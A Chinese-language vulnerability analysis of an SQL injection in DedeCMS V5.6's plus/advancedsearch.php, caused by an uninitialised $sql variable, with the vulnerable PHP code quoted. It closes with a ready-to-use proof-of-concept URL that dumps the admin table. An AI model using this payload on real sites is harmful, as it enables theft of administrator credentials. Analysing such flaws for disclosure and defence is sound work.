DedeCms V5.6变量未初始化导致鸡肋漏洞分析

DedeCMS漏洞深度解析：高级搜索模块中的SQL注入风险

DedeCMS的模板标签系统为站长提供了强大的DIY建站能力，其高效的标签缓存机制允许对同类标签进行缓存，从而在生成静态HTML时显著提升系统响应速度并降低服务器资源消耗。此外，DedeCMS采用模型与模块并存的架构，当默认模型无法满足特定需求时，系统通过互动模块进行补充，力求更贴合用户的个性化需求。

然而，安全隐患出现在plus/advancedsearch.php文件中：由于$sql变量未经过初始化，导致了一个看似鸡肋实则危险的SQL注入漏洞。

if($mid == 0) //必须绕过。
{
    showmsg('参数不正确，高级自定义搜索必须指定模型id', 'ja vascript');
    exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊，绕过有难度。
{
    showmsg('自定义搜索模型不存在','-1'); exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品问题，成功绕过！{
    ..............
}else{
    $sql = urldecode($sql);
    $query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............

plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`